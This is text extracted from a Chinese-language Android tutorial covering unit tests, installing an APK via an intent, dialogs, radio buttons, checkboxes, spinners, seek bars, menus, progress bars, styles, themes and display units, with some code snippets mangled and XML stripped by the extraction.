157、r.notify(0, notification);对应用进行单元测试第一步:首先在AndroidManifest.xml中加入下面红色代码: . 上面targetPackage指定的包要和应用的package相同。第二步:编写单元测试代码(选择要测试的方法,右键点击“Run As”-“Android Junit Test” ):import android.test.AndroidTestCase;import android.util.Log;public class XMLTest extends AndroidTestCase public void testSomething() t

158、hrows Throwable Assert.assertTrue(1 + 1 = 3); 安装外部程序首先需要AndroidManifest.xml中加入安装程序权限: 第二步把安装程序添加进SDCard。如把文件名为” sogouinput_android_1.40_sweb.apk.zip”的sogou拼音输入法安装文件放进SDCard。可以点击下面按钮:第三步在程序中添加以下代码:Intent intent = new Intent();intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);intent.setAction(android.con

159、tent.Intent.ACTION_VIEW);intent.setDataAndType(Uri.from (), sogouinput_android_1.40_sweb.apk.zip),application/vnd.android.package-archive);startActivity(intent);打开对话框打开对话框new AlertDialog.Builder(this).setTitle(传智播客).setMessage(浏览) .setPositiveButton(打开链接, new DialogInterface.OnClickListener() public

160、 void onClick(DialogInterface dialoginterface, int i) Uri uri = Uri.parse(); Intent intent = new Intent(Intent.ACTION_VIEW, uri); startActivity(intent); ).show();单选框单选框(RadioButton)(RadioButton)效果图:要完成单选框显示,我们需要使用到RadioGroup和RadioButton(单选框),RadioGroup用于对单选框进行分组,相同组内的单选框只有一个单选框能被选中。(例子代码请见下方备注栏)l Ra

161、dioGroup.check(R.id.dotNet);将id名为dotNet的单选框设置成选中状态。l(RadioButton) findViewById(radioGroup.getCheckedRadioButtonId();/获取被选中的单选框。lRadioButton.getText();/获取单选框的值l调用setOnCheckedChangeListener()方法,处理单选框被选择事件,把RadioGroup.OnCheckedChangeListener实例作为参数传入多选框多选框(CheckBox)(CheckBox)效果图:每个多选框都是独立的,可以通过迭代所有多选框,然

162、后根据其状态是否被选中再获取其值。l CheckBox.setChecked(true);/设置成选中状态。l CheckBox.getText();/获取多选框的值l 调用setOnCheckedChangeListener()方法,处理多选框被选择事件,把CompoundButton.OnCheckedChangeListener实例作为参数传入下拉列表框下拉列表框(Spinner)(Spinner)效果图:l Spinner.getItemAtPosition(Spinner.getSelectedItemPosition();获取下拉列表框的值l 调用setOnItemSelected

163、Listener()方法,处理下拉列表框被选择事件,把AdapterView.OnItemSelectedListener实例作为参数传入下拉列表框下拉列表框采用采用javabeanjavabean作为作为Adapter元素效果图:l 很多时候显示在下拉列表框的值并不是希望得到的值,如果要做一个联系人下拉列表框,列表框列出的是联系人的姓名,因为姓名有可能相同,所以我们希望得到的值应该为该联系人的id,要实现这种需求我们需要自定义Adapter,当然自定义Adapter需要我们编写一小段代码,如果我们不想编写Adapter,又能实现我们的需求,那是最好不过的了。通过观察ArrayAdapter中

164、getView(int position, View convertView, ViewGroup parent)的内部代码发现,如果为ArrayAdapter指定的实际泛型参数类型没有实现CharSequence(字符串)接口,将会调用该类型对象的toString()向下拉列表框输出显示值。利用这个特点我们可以重写javaBean的toString()向下拉列表框提供显示值。下拉列表框下拉列表框-自定义选项界面样式自定义选项界面样式效果图:l Spinner.getItemAtPosition(Spinner.getSelectedItemPosition();获取下拉列表框的值l 调用se

165、tOnItemSelectedListener()方法,处理下拉列表框被选择事件,把AdapterView.OnItemSelectedListener实例作为参数传入拖动条拖动条(SeekBar)(SeekBar)效果图:l SeekBar.getProgress()获取拖动条当前值l 调用setOnSeekBarChangeListener()方法,处理拖动条值变化事件,把SeekBar.OnSeekBarChangeListener实例作为参数传入菜单菜单(Menu)(Menu)效果图:l重写Activity的onCreateOptionsMenu(Menu menu)方法,该方法用于创

166、建选项菜单,在用户按下手机的“Menu”按钮时就会显示创建好的菜单,在onCreateOptionsMenu(Menu menu)方法内部可以调用Menu.add()方法实现菜单的添加。l重写Activity的onMenuItemSelected()方法,该方法用于处理菜单被选择事件进度对话框进度对话框(ProgressDialog)(ProgressDialog)效果图:l使用代码ProgressDialog.show(ProgressDialogActivity.this, 请稍等, 数据正在加载中., true);创建并显示一个进度对话框。l调用setProgressStyle()方法设

167、置进度对话框风格。有两种风格: ProgressDialog.STYLE_SPINNER 旋体进度条风格 (为默认风格) ProgressDialog.STYLE_HORIZONTAL 横向进度条风格创建进度条在布局xml文件中添加进度条代码: 在代码中操作进度条:ProgressBar.setMax(100);/设置总长度为100ProgressBar.setProgress(0);/设置已经开启长度为0,假设设置为50,进度条将进行到一半android样式和主题(style&theme) android中的样式和CSS样式作用相似,都是用于为界面元素定义显示风格,它是一个包含一个或者多个v

168、iew控件属性的集合。如:需要定义字体的颜色和大小。在CSS中是这样定义的: .itcastCOLOR:#0000CC;font-size:18px;可以像这样使用上面的css样式:传智播客在Android中可以这样定义样式:在res/values/styles.xml文件中添加以下内容 18px #0000CC 在layout文件中可以像下面这样使用上面的android样式: android样式和主题(style&theme)元素中有一个parent属性。这个属性可以让当前样式继承一个父样式,当前样式可以继承到父样式的值。当然,如果父样式的值不符合你的需求,你也可以对它进行修改,如下: 18

169、px #0000CC #FF0000 android样式和主题(style&theme) android中主题也是用于为应用定义显示风格,它的定义和样式的定义相同,如下:true ! 没标题 ?android:windowNoTitle ! 全屏显示 上面“?android:windowNoTitle”中的问号用于引用在当前主题中定义过的资源的值。下面代码显示在AndroidManifest.xml中如何为应用设置上面定义的主题: .除了可以在AndroidManifest.xml中设置主题,同样也可以在代码中设置主题,如下:setTheme(R.style.itcastTheme);尽管在定

170、义上,样式和主题基本相同,但是它们使用的地方不同。样式用在单独的View,如:EditText、TextView等;主题通过AndroidManifest.xml中的和用在整个应用或者某个 Activity,主题对整个应用或某个Activity存在全局性影响。如果一个应用使用了主题,同时应用下的view也使用了样式,那么当主题与样式属性发生冲突时,样式的优先级高于主题。另外android系统也定义了一些主题,例如:,该主题可以让Activity看起来像一个对话框,如果需要查阅这些主题,可以在文档的referenceandroid-R.style 中查看。Android中的显示单位l px (pixels)像素 一般HVGA代表320x480像素,这个用的比较多。l dip或dp (device independent pixels)设备独立像素 这个和设备硬件有关,一般为了支持WVGA、HVGA和QVGA 推荐使用这个,不依赖像素。l sp (scaled pixels best for text size)比例像素 主要处理字体的大小,可以根据系统的字体自适应。下面几个不太常用:l in (inches)英寸l mm (millimeters)毫米 l pt (points)点,1/72英寸为了适应不同分辨率,不同的像素密度,推荐使用dip ,文字使用sp。

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 商业/管理/HR > 市场营销

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号